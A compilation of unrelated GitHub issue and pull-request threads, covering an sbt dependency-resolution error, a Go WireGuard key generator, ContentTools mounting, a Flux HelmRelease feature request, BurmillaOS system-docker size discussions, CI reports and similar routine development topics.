[error]         at sbt.internal.util.ErrorHandling$.wideConvert(ErrorHandling.scala:24)
[error]         at sbt.Execute.work(Execute.scala:292)
[error]         at sbt.Execute.$anonfun$submit$1(Execute.scala:283)
[error]         at sbt.ConcurrentRestrictions$$anon$4.$anonfun$submitValid$1(ConcurrentRestrictions.scala:265)
[error]         at sbt.CompletionService$$anon$2.call(CompletionService.scala:65)
[error]         at java.base/java.util.concurrent.FutureTask.run(FutureTask.java:264)
[error]         at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:539)
[error]         at java.base/java.util.concurrent.FutureTask.run(FutureTask.java:264)
[error]         at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
[error]         at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
[error]         at java.base/java.lang.Thread.run(Thread.java:833)
[error] (update) sbt.librarymanagement.ResolveException: Error downloading com.eed3si9n:sbt-assembly;sbtVersion=1.0;scalaVersion=2.12:1.2.0
[error]   not found: https://my.company.com/nexus/repo/com/eed3si9n/sbt-assembly/1.2.0/sbt-assembly-1.2.0.pom
[warn] Project loading failed: (r)etry, (q)uit, (l)ast, or (i)gnore? (default: r)

The error is right in that https://my.company.com/nexus/repo/com/eed3si9n/sbt-assembly/1.2.0/sbt-assembly-1.2.0.pom does not exist.
But where did sbt get the idea of trying that location?
FWIW, the artifact is at https://my.company.com/nexus/repo/com/eed3si9n/sbt-assembly_2.12_1.0/1.2.0/sbt-assembly-1.2.0.pom and I ultimately do want to point sbt to that, but I also want to learn to navigate where sbt is looking for artifacts.

Sorry, wrong repo. Asked at https://github.com/sbt/sbt/discussions/7532


 All Rights Reserved.
 */

package main

import (
	"crypto/rand"
	"encoding/base64"
	"golang.org/x/crypto/curve25519"
)

func generateWireGuardKeypair() (string, string) {
	var publicKey [32]byte
	var privateKey [32]byte
	_, err := rand.Reader.Read(privateKey[:])
	if err != nil {
		panic(err)
	}
	privateKey[0] &= 248
	privateKey[31] &= 127
	privateKey[31] |= 64
	curve25519.ScalarBaseMult(&publicKey, &privateKey)
	return base64.StdEncoding.EncodeToString(privateKey[:]), base64.StdEncoding.EncodeToString(publicKey[:])
}

func main() {
	privateKey, publicKey := generateWireGuardKeypair()
	println(privateKey)
	println(publicKey)
}

thanks for the hint. Would you like to PR this to us?

Not really, but feel free to trivially copy and paste that.

@xetys I plan to work on it when other PRs are merged (since start a new PR should generate a lot of conflicts when other are merged).

yes, I will start reviewing your work ASAP

@xetys ok, thx! Let me know if there is something that need to be fixed / refactored / ... and thx for your support :)


Mount ct-app to specific element?

Hi,
Is there any way to mount (or remount) the ct-app to a specific element instead of the body?
I'm trying to avoid some tricky z-index issues and this would be the easiest way to get around it.
Thanks!

Just tried to remount it manually. Obviously not the prettiest solution, but it seems to work fine. Could it come with any drawbacks?
document.querySelector('#target').appendChild(document.querySelector('.ct-app'))

Hi @patrikengborg so I can't see any issue with this how it's probably advisable to override the mount function instead, so in JS:
var editorCls = ContentTools.EditorApp.getCls();
editorCls.prototype.mount = function () {
        this._domElement = editorCls.createDiv(['ct-app']);
        document.querySelector('#target').appendChild(this._domElement, null);
        this._addDOMEventListeners();

}

You're a star, thanks!
Will post questions to Stackoverflow from now on, didn't see the guidelines until after this. Sorry!


Remove code related to live update (push)

Questions
Answers

Description?
This PR aims to remove an unused feature (live update) that has been removed from the core but make this module throw an exception because even though the feature is not used, it requires a smarty variable not available anymore.

Type?
bug fix

BC breaks?
no

Deprecations?
no

Fixed ticket?
Partially fixes PrestaShop/Prestashop#27028

How to test?
On PrestaShop develop:1. Disable modules Dashproducts & Dashactivity2. Comment the line https://github.com/PrestaShop/PrestaShop/blob/develop/classes/module/Module.php#L2185 ('allow_push' => false, // required by dashboard modules)3. Install this module4. No error should appear in the page Dashboard

Hi @atomiix,
It is ok :heavy_check_mark:
I checked the PR with develop branch
https://watch.screencastify.com/v/Df8NxTX6roq3eqwGGesS
Without PR

With 178x branch and PS1782 => I upgraded the module to the newest version 2.0.4 => ok
Thanks!

Thank you @atomiix


Change temperature unit handling to use arguements

Currently the temperature units to convert between are specified through the use of flasg. However, this is not ideal as the flags are only one letter and could conflict with actual setting flags, were such eventually added.
Thus the program should be changed to get the temperatures via the command arguements that are not flags. As shown below:
echo "32" | tempconvert f c

Also, the input temperature should be able to be entered as the third input instead of being supplied through standard input. With standard input taking precedence.
tempconvert f c 32

The command structure should be as follows:
tempconvert [OPTIONS] INPUT_UNIT OUTPUT_UNIT INPUT_TEMP


Fix to build/release windows binaries from Linux

Description

Changes to build & release Windows binaries from Linux box
Todos

[ ] Tests
[ ] Documentation
[ ] Release note

Release Note

None required

ping @tomdee

LGTM


Support GitRepositories in valuesFrom

I'm working to build a multi-tenant setup in which each tenant will be using the same Helm chart to deploy their apps, but with different values. As a platform team, we're trying to minimize the amount of stuff each of them need to know, especially when it comes to Kubernetes manifests. So, we're looking at the ability to tell a team "Here's a YAML document, update here to deploy your new version." Each of the teams have their own repos with this values file.
In case it helps provide additional context, we're working to standardize our platform efforts around the Compose spec. We've built a Helm chart that consumes a Compose file as its values.yaml and creates the appropriate manifests. We also support various extension fields for additional support around ingress, cert management, secrets injection, etc. This gives us the flexibility to change our mind down the road if we want to leave Kubernetes and use something else... just re-implement the deploy tool. We'd also love to support the ability for anyone to simply run docker-compose -f my-compose-file.yaml up and spin up a very similar stack locally (obviously some of the extensions won't work).
Feature Request
It would be great to be able to define a HelmRelease in which the values come from a specific file(s) located in a GitRepository. I'd like the ability to specify a specific GitRepository and then the specific file within it.
apiVersion: helm.toolkit.fluxcd.io/v2beta1
kind: HelmRelease
metadata:
  name: backend
  namespace: default
spec:
  chart:
    # omitted
  valuesFrom:
    - kind: GitRepository
      name: tenant-repo
      path: ./values.yaml

Current Workarounds
I've thought of two different approaches to work around this, each with their drawbacks.

Each team would define their own HelmRelease object with the values embedded in it. This has the downside of now each team is in charge of that object and is exposed to the fact we're using Kubernetes. We also then don't have a file that is Compose spec-compatible.
We could use a Kustomize controller to take the values file and convert it into a ConfigMap, which then is referenced in the valuesFrom. It just feels like overkill and would require each repo to have a kustomization.yaml. Not end of the world, but feels hacky if we can't reference the file directly.

Between the two workarounds, I'd prefer the later, but it would be great to be able to reference the values file directly. Feedback welcome!

This was requested before but rejected, their reasoning was a bit different, but the arguments still stand.

We could use a Kustomize controller to take the values file and convert it into a ConfigMap, which then is referenced in the valuesFrom. It just feels like overkill and would require each repo to have a kustomization.yaml. Not end of the world, but feels hacky if we can't reference the file directly.

This would be the best alternative.

Docs here on how to use kustomize configmap generators for HR values: https://toolkit.fluxcd.io/guides/helmreleases/#refer-to-values-in-configmaps-generated-with-kustomize

Ok. Thanks for the pointers! And sorry for not seeing the previous discussion... I'm not used to checking both issues (which I did) and the new discussion area before posting. 👍


Changes typealias to associatedtype inside protocols

typealias usage inside protocols is deprecated in Swift 2.2 and will be removed in Swift 3 according to this proposal. associatedtype should be use instead.

The CI failure isn't you, thanks for the PR!


Put data in Crux

This patch introduces https://opencrux.com/ as our data store. For now
all data are stored in an in-memory node that's destroyed when we stop
the system. Replacing it with a persistent solution should be a matter
of changing Crux configuration.
The Crux-related code lives in spacy.crux. That includes:

a component that controls the lifecycle of a Crux node,
logic for storing and retrieving events (i.e. our aggregates),
subscription to Crux transactions, translating them into facts,
and sending to a provided core.async channel.

Every time we persist an event in a Crux node we store it as:

a document with all facts removed, and
all the new facts that we haven't stored yet.

Crux is responsible for keeping track of time. Each transaction has
:crux.db/valid-time. When we retrieve a fact from Crux we set its
:spacy.domain/at to :crux.db/valid-time of the transaction in which
it was created.
The core.async channel instantiated in spacy.system will now carry facts
as specified in spacy.domain. spacy.app is responsible for translating
them into server-sent events (see spacy.app/interpret-fact).
spacy.app is decoupled from spacy.crux. A protocol in spacy.data defines
an abstract data store that's implemented by spacy.crux.Crux.

This looks really good! I really like Crux, and I think it was the right decision for a database.


Delete problem_ids collection before re-generating it

Currently, if you run create_problem_ids_collection.py multiple times, it keeps adding to the current problem_ids collection; we do not want that. Instead we want, the problem_ids collection dropped first if it exists and then create a new collection (to avoid duplicate documents)

done


Document editors that support MDX language server

Initial checklist

[x] I read the support docs
[x] I read the contributing guide
[x] I agree to follow the code of conduct
[x] I searched issues and couldn’t find anything (or linked relevant results below)
[x] If applicable, I’ve added docs and tests

Description of changes
Both lsp-mode and nvim-lspconfig support the MDX language server.
Refs #474
Refs https://www.reddit.com/r/neovim/comments/1ewwtok/has_anyone_figured_out_intellisense_in_mdx_files/

Yes, not in depth, but it works.


Exception when using RS256 with certificate

Hi
Im using https://github.com/substack/rsa-json to create public and private pem encoded keys.
However when i try to use them to encode a jwt using RS256 this error is thrown:
Error: error:0906D06C:PEM routines:PEM_read_bio:no start line\ at Error (native)\ at Sign.sign (crypto.js:327:26)\ at Object.sign
(/Project/node_modules/jsonwebtoken/node_modules/jws/node_modules/jwa/index.js:52:47)\ at Object.jwsSign [as sign
(/Project/node_modules/jsonwebtoken/node_modules/jws/index.js:34:26)\ at Object.module.exports.sign
(/Project/node_modules/jsonwebtoken/index.js:46:20)\ at generateToken
(/Project/app/services/auth/loginservice.js:105:21)\ at _fulfilled
(/Project/node_modules/q/q.js:794:54)\ at self.promiseDispatch.done
(/Project/node_modules/q/q.js:823:30)\ at Promise.promise.promiseDispatch
(/Project/node_modules/q/q.js:756:13)\ at
/Project/node_modules/q/q.js:516:49

Since the documentation says it needs a buffer i tried to wrap the string in a buffer but that made no difference.
Do i need to load the keys from a file? Is there no other way?

Was fixed by updating to 4.2.2


Add size-limit

size-limit is tool to prevent JS libraries bloat. If somebody will add dependency with unexpected big size, Size Limit will return error and Travis CI will reject pull request.
Size Limit creates webpack project in memory and adds your lib as dependency to get real cost with all dependencies and polyfills for process.
Last but not least, it shows also why your lib has this size. Thanks to Webpack Bundle Analyze.
Right now MobX, PostCSS, Autoprefixer and JSS uses it. size-limit really help me during Logux development (I reduce size 4x, because I in Bundle Analyzer found some big dependencies and unnecessary process polyfill). And it is good guard for PRs.
@timdorr what do you think about this small linter for project?

Appreciate the offer, but I don't think that's going to be particularly relevant here.  Redux is already minimal, and we recently started using Rollup for our builds, so they're even smaller.


Aya Neo Air Pro Controller not recognized by game - Final Fantasy VII Remake

Device:
Aya Neo Air Pro (5825u)
Game:
Triangle Strategy Seems to be fixed as of ChimeraOS 38
Final Fantasy VII Remake
OS:
Chimera OS 35
ChimeraOS 38
Bug Description:
Triangle Strategy refuses to recognize both the built-in controller and external controllers. It only recognizes the built-in controller if I set the controller layout to keyboard + mouse joystick.
When I tried to replicate this issue on my ChimeraOS HTPC in the living room, it had no issues recognizing an external controller. Same for my Steam Deck with SteamOS.
My naive guess here is that the game detects a keyboard of some sort, and assigns it to player one. gamepadui does have a reorder controller option, but it's only for controllers, not keyboards.
Triangle strategy now recognizes built in controller on Aya Neo Air pro, still not recognized for Final Fantasy VII Remake

This may depend on how the game detects/handles input. Do you have this issue if you plug in a keyboard to your HTPC?

This may depend on how the game detects/handles input. Do you have this issue if you plug in a keyboard to your HTPC?

@pastaq Just tested on the HTPC with ChimeraOS 35, no issues. It freely swapped between keyboard and controller.
Seems that this is a problem specific to the Aya Neo Air Pro with ChimeraOS 35. I also tried disabling Steam Input on the Aya Neo Air Pro for the game, which made no difference.

It may be a conflict with HandyGCCS. What happens if you stop handycon.service?

It may be a conflict with HandyGCCS. What happens if you stop handycon.service?

I was playing around with the handygccs.conf, and accidentally saved a typo that seems to have broke the service on reboot. Checking the handycon.service's status via systemctl indicated that it had failed.
I decided to test Triangle strategy while in this state, no dice; the game still fails to recognize the controller.
Also, I have discovered another game with the same issue, Final Fantasy VII Remake Intergrade

Just wanted to report that the controller is now recognized for Triangle Strategy, but not FFVII Remake. Unsure of what fixed the issue for Triangle Strategy, this is on ChimeraOS 38

Seems to be game-specific. maybe the client or proton update fixed it?

Can you test latest unstable or testing images?

updated + tested on 39, seems to be working fine now


Update or replace system-docker

Currently the version is currently pinned to 17.06
The buildsystem the following forks with the main change linked:

github.com/rancher/docker-cli changes
github.com/rancher/docker changes
github.com/rancher/docker-ce-packaging changes

Do you want to also create a fork or use patch files instead ?

I have forked those repos under burmilla but I'm not sure if we really want upgrade system-docker because we don't really need those new features on it and binaries sizes has increased a lot of on those new versions.
docker-17.06.2-ce:
total 89M
-rwxr-xr-x 1 pi pi  18M Sep  5  2017 docker
-rwxr-xr-x 1 pi pi 9.5M Sep  5  2017 docker-containerd
-rwxr-xr-x 1 pi pi 8.6M Sep  5  2017 docker-containerd-ctr
-rwxr-xr-x 1 pi pi 3.7M Sep  5  2017 docker-containerd-shim
-rwxr-xr-x 1 pi pi  39M Sep  5  2017 dockerd
-rwxr-xr-x 1 pi pi 755K Sep  5  2017 docker-init
-rwxr-xr-x 1 pi pi 2.4M Sep  5  2017 docker-proxy
-rwxr-xr-x 1 pi pi 7.4M Sep  5  2017 docker-runc

docker-19.03.14:
total 200M
-rwxr-xr-x 1 pi pi  36M Dec  1 21:22 containerd
-rwxr-xr-x 1 pi pi 6.9M Dec  1 21:22 containerd-shim
-rwxr-xr-x 1 pi pi  19M Dec  1 21:22 ctr
-rwxr-xr-x 1 pi pi  59M Dec  1 21:22 docker
-rwxr-xr-x 1 pi pi  69M Dec  1 21:22 dockerd
-rwxr-xr-x 1 pi pi 693K Dec  1 21:22 docker-init
-rwxr-xr-x 1 pi pi 2.8M Dec  1 21:22 docker-proxy
-rwxr-xr-x 1 pi pi 9.2M Dec  1 21:22 runc

docker-20.10.0:
total 219M
-rwxr-xr-x 1 pi pi  38M Dec  8 20:59 containerd
-rwxr-xr-x 1 pi pi 7.0M Dec  8 20:59 containerd-shim
-rwxr-xr-x 1 pi pi 9.5M Dec  8 20:59 containerd-shim-runc-v2
-rwxr-xr-x 1 pi pi  21M Dec  8 20:59 ctr
-rwxr-xr-x 1 pi pi  53M Dec  8 20:59 docker
-rwxr-xr-x 1 pi pi  76M Dec  8 20:59 dockerd
-rwxr-xr-x 1 pi pi 693K Dec  8 20:59 docker-init
-rwxr-xr-x 1 pi pi 2.8M Dec  8 20:59 docker-proxy
-rwxr-xr-x 1 pi pi  13M Dec  8 20:59 runc

Also I can see that system-docker and system-dockerd binaries are smaller than same version from official Docker version so those are most probably patched somehow to only build only needed of the features.
docker-amd64-17.06-ros6:
total 67M
-rwxr-xr-x 1 pi pi 9.9M Feb 11  2019 system-docker
-rwxr-xr-x 1 pi pi 9.5M Feb 11  2019 system-docker-containerd
-rwxr-xr-x 1 pi pi 8.6M Feb 11  2019 system-docker-containerd-ctr
-rwxr-xr-x 1 pi pi 3.7M Feb 11  2019 system-docker-containerd-shim
-rwxr-xr-x 1 pi pi  25M Feb 11  2019 system-dockerd
-rwxr-xr-x 1 pi pi 755K Feb 11  2019 system-docker-init
-rwxr-xr-x 1 pi pi 2.4M Feb 11  2019 system-docker-proxy
-rwxr-xr-x 1 pi pi 7.4M Feb 11  2019 system-docker-runc

So most probably we should update ros command to all containerd directly so we can drop system-docker but I'm not sure if that is worth effort.
Alternative way is stay on 17.06 forever and only cherry-pick fixes from Moby if needed.

The reason for this is probably the removal of some features for system-docker:

https://github.com/rancher/docker/commit/63c882f510bfd07a0ff969f7022d3e5dc74bd327
https://github.com/rancher/docker/commit/0e73971201616a171c6242818487552d5f515b1a
https://github.com/rancher/docker/commit/1392bbe4bd2fc47bbdafa6faf1f4aa45463eaf75

I will try to compile and adapt this and post a size for system-docker

Actually after a successful built, the size did not shrink that much:
-rwxr-xr-x 1 dgiebert dgiebert  36M Dec 13 14:18 system-containerd*
-rwxr-xr-x 1 dgiebert dgiebert 6.9M Dec 13 14:18 system-containerd-shim*
-rwxr-xr-x 1 dgiebert dgiebert  19M Dec 13 14:18 system-ctr*
-rwxr-xr-x 1 dgiebert dgiebert  59M Dec 13 14:18 system-docker*
-rwxr-xr-x 1 dgiebert dgiebert  55M Dec 13 14:18 system-dockerd*
-rwxr-xr-x 1 dgiebert dgiebert 693K Dec 13 14:18 system-docker-init*
-rwxr-xr-x 1 dgiebert dgiebert 2.8M Dec 13 14:18 system-docker-proxy*
-rwxr-xr-x 1 dgiebert dgiebert 9.2M Dec 13 14:18 system-runc*

Checking the source code and diffs, a bit of google research showed the possibility of running multiple deamons: https://stackoverflow.com/questions/32334167/is-it-possible-to-start-multiple-docker-daemons-on-the-same-machine
This could be a better way to only maintain a single dockerd and just have a small wrapper script for system-docker

Checking the source code and diffs, a bit of google research showed the possibility of running multiple deamons: https://stackoverflow.com/questions/32334167/is-it-possible-to-start-multiple-docker-daemons-on-the-same-machine
This could be a better way to only maintain a single dockerd and just have a small wrapper script for system-docker

@dgiebert first of all I would like to understand that what you are actually trying to achieve by updating system-docker? Main purpose of it is actually just works as package provider (like apt-get, yum, etc) for BurmillaOS so as long we don't have known bugs on it I don't see reason to change it.

Go binaries growing looks to be generic problem https://github.com/golang/go/issues/6853
I can see same on https://github.com/burmilla/docker/tree/test/update-build-scripts where I just took latest build scripts from Moby project so those gets build with later version of Go. That issue can be partly fixed by optimizing build parameters but not fully.

Also quite visible here in the official stable builds: https://download.docker.com/linux/static/stable/x86_64/
Will try to optimize the build with the compiler flags later today, any tipps ?
Also from the linked issue, seems that in 1.15 the size could be reduced but as of now moby is on 1.13.

They are working on to get it updated https://github.com/moby/moby/pull/40353
Also if we start working on this then we probably should target directly to 20.10.x (or even 21.03.x) because major refactoring have been done to Moby on that version (backend code have been removed from Moby used from containerd) and afaiu that work still continues.

Very good point indeed, changed to 20.10.1 !
Old Size (19.03.14): ~187M
New Size(20.10.1) using 1.15.5: ~177M
-rwxr-xr-x 1 root root  33M Dec 15 12:30 system-containerd*
-rwxr-xr-x 1 root root 6.5M Dec 15 12:30 system-containerd-shim*
-rwxr-xr-x 1 root root  21M Dec 15 12:30 system-ctr*
-rwxr-xr-x 1 root root  49M Dec 15 12:30 system-docker*
-rwxr-xr-x 1 root root  52M Dec 15 12:30 system-dockerd*
-rwxr-xr-x 1 root root 693K Dec 15 12:30 system-docker-init*
-rwxr-xr-x 1 root root 2.8M Dec 15 12:30 system-docker-proxy*
-rwxr-xr-x 1 root root  12M Dec 15 12:30 system-runc*

This was just plain 1.13.15 -> 1.15.5 changes, so I believe more can be achieved here

Following this article here: https://boyter.org/posts/trimming-golang-binary-fat/
-rwxr-xr-x 1 root root  11M Dec 15 14:08 system-containerd*
-rwxr-xr-x 1 root root 2.1M Dec 15 14:08 system-containerd-shim*
-rwxr-xr-x 1 root root  21M Dec 15 14:08 system-ctr*
-rwxr-xr-x 1 root root  25M Dec 15 14:08 system-docker*
-rwxr-xr-x 1 root root  15M Dec 15 14:08 system-dockerd*
-rwxr-xr-x 1 root root 277K Dec 15 14:08 system-docker-init*
-rwxr-xr-x 1 root root 1.6M Dec 15 14:08 system-docker-proxy*
-rwxr-xr-x 1 root root 5.0M Dec 15 14:08 system-runc*

Size after UPX compression: ~81M

Yes, I think it is very easy to replace system-docker with a two line bash script in the console image.
You are correct did not think about the initrd compression, but I guess if we strip off all unneeded / duplicated executables the resulting size should not exceed the 17.06 build by much

This could be a better way to only maintain a single dockerd and just have a small wrapper script for system-docker

Hmm. Maybe that is actually best way because if we decide that system-docker and default user docker versions are same then we can:

Cache files from https://github.com/burmilla/os-services/tree/master/images/10-docker-20.10.1 + downloaded Docker binaries on build.
Start system-docker directly from those binaries or with wrapper scripts (I'm not sure if we even need wrapper).
Start user docker with busybox image which actually mounts those same binaries inside container (so there is not need import those as Docker image like now).

Only special things needed on that one would be that we need modify settings on here:
https://github.com/burmilla/os/blob/4e5d2482980b614480d99ff3c4de33c4562502c5/os-config.tpl.yml#L361-L385
Then it should (on theory) works similarly like consoles was earlier that default settings will be overridden when user uses sudo ros engine switch command (as on that point it need to use version specific configuration from os-service repo) and probably we need also add "default" option to that list which always points to Docker version which is bundled to ISO file.

@dgiebert so how you now build those 20.10.1 binaries? I'm prepairing next 2.0.0 beta version so probably we should include it already and implement those optimizations later.

The main issue I see with the shared dockerd, would be that an upgrade of the engine would need a reboot.
I will try to get a build working today @olljanat

@olljanat seems like the console is starting and tells started but its not attaching. Do you have a pointer where this could be hanging ?

@dgiebert can you share those codes which you are now using so it is easier to guess what might be wrong?

Instead of updating system-docker we should also consider:

removing it like proposed on #88
replacing it example with containerd and nerdctl combination

I finally managed to build working version of system-docker from sources (earlier we have used binary build by Rancher) https://github.com/burmilla/os-system-docker/releases/tag/17.06.107
What I did find out that it is possible to build system-docker even with latest Go version (draft in here) but there is some change done in Go it selves which breaks it in way that runc is not able to start console container anymore.

replacing it example with containerd and nerdctl combination

I think that this would be best long term solution. We can keep size in control by disabling all those optional components https://github.com/containerd/containerd/blob/v1.6.15/BUILDING.md#build-containerd

It looks to be that replacing system-docker with containerd + nerdctl would need massive refactoring for code from where ros binary is build because we use https://github.com/docker/libcompose/ and nerdctl uses https://github.com/compose-spec/compose-go
However https://github.com/balena-os/balena-engine potential drop-in replacement for system-docker so will test it some Dat.

Update. Replacing system-docker with balena-engine is simple but looks that new runc version makes system crashing on boot. No matter if that is used with balena or system-docker.
Test versions of those exist in https://github.com/burmilla/os/tree/migrate-to-balena and https://github.com/burmilla/os-system-docker/releases/tag/17.06.109

Hi @olljanat
interesting topic... I heared about balena, but don't know about balena cloud / open balena...
Would it possible to manage instances with balena cloud / open balena if based on balena-engine?
Are the problems related to runc or maybe test it with crun?

Would it possible to manage instances with balena cloud / open balena if based on balena-engine?

No. balena-engine is just minimized version of docker/moby engine (swarm mode is removed, etc) so very similar than how we use system-docker, just based on more modern version of docker and maintained by Balena team (the main reason to which to it).

Are the problems related to runc or maybe test it with crun?

That is new for me. Will look about it.


Add the ability to filter benchmarks run based on a command line flag.

LGTM, this is a great addition! 👏


SQL Error - Specified Cast is not valid (Object Explorer)

I could connect to the server using SSMS, but while expanding the Databases I was getting this error "Specified Cast is not valid (Object Explorer)".

@Sudheerreddyn14 Are you trying to access the entity tables using the new SQL endpoint of CDS?

@Sudheerreddyn14
Thanks for your feedback. We are closing this issue because we are either unable to find relevant information or reproduce this. If you're still experiencing the issue described here, please reopen or create a new issue


INTERNATIONAL formatting of US numbers insert hyphens; does not comply with E123

Imported from Google Code issue #506 created by Jaffadog on 2014-08-25T17:05:13.000Z:

What steps will reproduce the problem?
number = phoneUtil.parse("+14349513180", null);
result = phoneUtil.format(number, PhoneNumberUtil.PhoneNumberFormat.INTERNATIONAL);
log.info(result);
What is the expected output? What do you see instead?
expect: +1<PHONE_NUMBER>
get: +1<PHONE_NUMBER>
What version of the product are you using? On what operating system?
6.2. Windows 7 x64.
Please provide any additional information below.

I agree with mihaelacr, that this is a surprising gap in support for E.123.

@davidmc24,
We have updated the java doc based on inputs here. Thanks!


Launch external programs

Could you please give an example of how to launch external programs (e.g.: mpiexec) using launch.vs.json? In the case of mpiexec, how do I pass the full path to the executable? Is there a variable?
I think this documentation is only helpful for getting started but is insufficient for actually working with the CMake integration. There is no documentation regarding variables provided by the IDE (in CMakeSettings.json and launch.vs.json) and no in-depth explanation of the configurable options (launch.vs.json, the descriptions provided by IntelliSense are not enough).
Please extend the documentation as the feature itself is super helpful and deserves more coverage.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 781298c5-3bb4-0bd4-06ca-b09517a76ebc
Version Independent ID: acb60102-701d-ccb2-d138-2ceb35813292
Content: CMake Projects in Visual C++
Content Source: docs/ide/cmake-tools-for-visual-cpp.md
Product: visual-cpp
GitHub Login: @mikeblome
Microsoft Alias: mblome

@f-tischler Yes we are working on improving these topics.  You can use the tasks.vs.json file to define any arbitrary command line. Pass the full path to mpiexec in the "command" property and the arguments in the args array in the order that they are expected by mpiexec. This topic talks a little about it but doesn't have a great example for your scenario: https://docs.microsoft.com/en-us/cpp/ide/non-msbuild-projects?view=vs-2017

Hi f-tischler,
There isn't a variable for the executable itself as far as I know, but you can access some of the variables defined in your CMakeSettings.json configuration. Maybe something like /path/to/mpiexec ${cmake.buildRoot}/main.exe will work? The blog post CMake Support in Visual Studio: Customizing your Environment might also help.
Thanks for the feedback!


HBASE-15519 Add per-user metrics with lossy counting (addendum)

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Comment

:blue_heart:
reexec
3m 20s
Docker mode activated.

_ Prechecks _

:green_heart:
dupname
0m  0s
No case conflicting files found.

:green_heart:
hbaseanti
0m  0s
Patch does not have any anti-patterns.

:green_heart:
@author
0m  0s
The patch does not contain any @author tags.

:green_heart:
test4tests
0m  0s
The patch appears to include 1 new or modified test files.

_ master Compile Tests _

:green_heart:
mvninstall
6m  2s
master passed

:green_heart:
compile
0m 17s
master passed

:green_heart:
checkstyle
0m 13s
master passed

:green_heart:
shadedjars
5m  2s
branch has no errors when building our shaded downstream artifacts.

:green_heart:
javadoc
0m 16s
master passed

:blue_heart:
spotbugs
0m 34s
Used deprecated FindBugs config; considering switching to SpotBugs.

:green_heart:
findbugs
0m 31s
master passed

_ Patch Compile Tests _

:green_heart:
mvninstall
5m 29s
the patch passed

:green_heart:
compile
0m 16s
the patch passed

:green_heart:
javac
0m 16s
the patch passed

:green_heart:
checkstyle
0m 13s
the patch passed

:green_heart:
whitespace
0m  0s
The patch has no whitespace issues.

:green_heart:
shadedjars
4m 59s
patch has no errors when building our shaded downstream artifacts.

:green_heart:
hadoopcheck
17m 18s
Patch does not cause any errors with Hadoop 2.8.5 2.9.2 or 3.1.2.

:green_heart:
javadoc
0m 15s
the patch passed

:green_heart:
findbugs
0m 38s
the patch passed

_ Other Tests _

:green_heart:
unit
0m 37s
hbase-hadoop2-compat in the patch passed.

:green_heart:
asflicense
0m 11s
The patch does not generate ASF License warnings.

52m 25s

Subsystem
Report/Notes

Docker
Client=19.03.4 Server=19.03.4 base: https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-766/1/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/766

Optional Tests
dupname asflicense javac javadoc unit spotbugs findbugs shadedjars hadoopcheck hbaseanti checkstyle compile

uname
Linux 74cd7ef0ed0f 4.15.0-66-generic #75-Ubuntu SMP Tue Oct 1 05:24:09 UTC 2019 x86_64 GNU/Linux

Build tool
maven

Personality
/home/jenkins/jenkins-slave/workspace/HBase-PreCommit-GitHub-PR_PR-766/out/precommit/personality/provided.sh

git revision
master / d7deafa120

Default Java
1.8.0_181

Test Results
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-766/1/testReport/

Max. process+thread count
220 (vs. ulimit of 10000)

modules
C: hbase-hadoop2-compat U: hbase-hadoop2-compat

Console output
https://builds.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-766/1/console

versions
git=2.11.0 maven=2018-06-17T18:33:14Z) findbugs=3.1.11

Powered by
Apache Yetus 0.11.0 https://yetus.apache.org

This message was automatically generated.


CMK_TIMER_USE_PPC64 inaccurate with variable clock speeds

Original issue: https://charm.cs.illinois.edu/redmine/issues/1689

The pami-linux-ppc64le machine layer is defaulting to CMK_TIMER_USE_PPC64
src/arch/pami-linux-ppc64le/conv-mach.h:#define CMK_TIMER_USE_PPC64                                1
This timer assumes a constant clock speed, which hasn't been true for a long time so projections traces are pretty useless.
Fix the code to do what's necessary to get accurate wall times from the fast intrinsic techniques.

Original date: 2018-01-16 22:23:26

Not sure why this was marked "implemented"...

Original date: 2018-01-26 23:37:17

I tried reproducing this on a POWER8 machine and wasn't able to, the timing looked normal.
However, reading through some POWER9 docs makes it seem that there's no guarantee that the time base register update frequency is constant (https://ibm.ent.box.com/s/1hzcwkwf8rbju5h9iyf44wm94amnlcrv. page 898-899, section 6.1).

Original author: Jim Phillips (@jcphill)
Original date: 2018-01-27 02:22:57

It was marked implemented because of ~~https://charm.cs.illinois.edu/gerrit/#/c/3075/~~ https://github.com/UIUC-PPL/charm/commit/a27a153df52d90c1c6718b3ed1e504f7d2cc92f8

Original date: 2018-02-11 04:55:47

That patch was merged, so should this issue be marked 'merged'? If not, maybe retarget to 6.9.1

Original date: 2018-02-14 20:47:57

I talked to Bilge to get more information about the timers on POWER and if there was any chance that the timer can be guaranteed to update at a fixed frequency. She didn't know and said that she would get back to me with more information.
For now, I'm pushing this to 6.9.1.


Separated modules

Codecov Report

:exclamation: No coverage uploaded for pull request base (master@f9c1797). Click here to learn what that means.
The diff coverage is 100%.

@@           Coverage Diff           @@
##             master     #1   +/-   ##
=======================================
  Coverage          ?   100%
=======================================
  Files             ?     13
  Lines             ?    141
  Branches          ?     14
=======================================
  Hits              ?    141
  Misses            ?      0
  Partials          ?      0

Impacted Files
Coverage Δ

src/utils/url-scraper/browser.js
100% <100%> (ø)

src/routes/scrape-product-url.js
100% <100%> (ø)

src/utils/url-scraper/scraper.js
100% <100%> (ø)

src/utils/url-scraper/index.js
100% <100%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f9c1797...37f2e4d. Read the comment docs.


[1.1.2][advanced_dhcp_sever] remove references to ntp_ip variable

Dear @hmeAtos
Good catch ! Thank you for this PR.
However, you need first to submit a PR to master, then it will be backported into other branchs :-)

Dear @hmeAtos
Good catch ! Thank you for this PR.
However, you need first to submit a PR to master, then it will be backported into other branchs :-)

Hello,
It's done.
153
Thanks

@hmeAtos Do you want to update this PR to reflect backport of #153?


[draft] UX Guidelines

This is a draft of a document I'd like to reference in the PR checklist, to help folks think about their work in relation to mobile UX patterns that aren't always captured by figma specs.
Loading
Your content is not always on the screen, and you should take care that it appears and disappears gracefully.

Tap back and forth so that your content enters and exits over and over again. Make sure nothing about the transitions feels jarring.
Does content jump around at all? You should try to find out why and make it stop.
